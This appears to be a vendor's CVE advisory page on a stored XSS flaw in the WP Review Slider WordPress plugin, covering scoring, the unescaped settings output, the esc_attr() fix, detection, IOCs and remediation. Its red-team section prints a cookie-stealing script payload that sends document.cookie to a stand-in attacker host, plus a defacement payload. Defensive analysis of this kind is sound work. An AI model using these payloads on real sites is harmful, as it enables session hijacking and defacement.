CVE-2023-6456
Executive Summary
CVE-2023-6456 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Review Slider WordPress plugin, affecting versions prior to 13.0. The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject arbitrary JavaScript. This attack can succeed even when the unfiltered_html capability is disallowed, such as in multisite configurations. Successful exploitation can lead to session hijacking, defacement, or redirection of users to malicious sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin by checking the SHA-256 hash against the official release. No known supply chain compromise has been reported for this specific CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) / Calculated: 4.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Admin)
- User Interaction: Required (Victim visits admin page)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires admin-level access, but the impact is amplified in multisite environments where lower-privilege admins can inject scripts.
Deep Dive & Mechanics
The vulnerability exists in the plugin's settings page, where user-supplied input is stored without proper sanitization or output escaping. When an admin saves a setting containing malicious JavaScript, the payload is stored in the WordPress database. Subsequently, when the settings page is rendered, the unsanitized input is echoed directly into the HTML, executing the script in the context of the victim's browser.
Root Cause: The plugin uses echo or similar functions to output settings values without applying esc_html(), wp_kses(), or similar WordPress escaping functions.
Attack Flow:
- Attacker with admin privileges navigates to the WP Review Slider settings page.
- Attacker injects a payload like
<script>alert('XSS')</script>into a vulnerable setting field. - The plugin stores the payload in the
wp_optionstable. - When any admin (including the attacker) visits the settings page, the payload is rendered and executed.
Vulnerable vs. Patched Code
Vulnerable Code (version < 13.0):
// In settings page rendering
echo '<input type="text" name="wprs_setting" value="' . $setting_value . '" />';
Patched Code (version 13.0):
// Properly escaped
echo '<input type="text" name="wprs_setting" value="' . esc_attr( $setting_value ) . '" />';
The patch adds esc_attr() to escape the attribute value, preventing XSS.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress instance with WP Review Slider < 13.0
- Admin-level credentials
Steps:
- Log in as an admin.
- Navigate to WP Review Slider > Settings.
- Locate a text input field (e.g., "Slider Title").
- Inject the following payload:
"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the settings.
- When another admin visits the settings page, the script executes, exfiltrating cookies.
Alternative Payload (for defacement):
"><script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual admin activity on the settings page.
- Look for HTTP requests containing
<script>tags in POST data to/wp-admin/admin.php?page=wp-review-slider.
Prevention:
- Ensure the plugin is updated to version 13.0 or later.
- Implement Web Application Firewall (WAF) rules to block XSS patterns.
- Restrict admin access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wp-review-slider/wp-review-slider.php(version < 13.0) - Database: Rows in
wp_optionswithoption_namecontainingwprs_andoption_valuecontaining<script>tags. - Network: Outbound HTTP requests to attacker-controlled domains from admin browsers.
- Logs: WordPress debug log entries showing
wp_ajax_wprs_save_settingswith suspicious input.
Detection Engineering
YARA Rule
Sigma Rule
Suricata Rule
Remediation & Mitigation
Immediate:
- Update the WP Review Slider plugin to version 13.0 or later.
- If immediate update is not possible, disable the plugin temporarily.
Long-term:
- Implement a Content Security Policy (CSP) header to restrict script execution.
- Regularly audit WordPress plugins for known vulnerabilities.
- Enforce the principle of least privilege for admin accounts.
Workaround:
- Use a WAF to block XSS payloads in POST requests to the plugin's settings page.
Valters IT
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.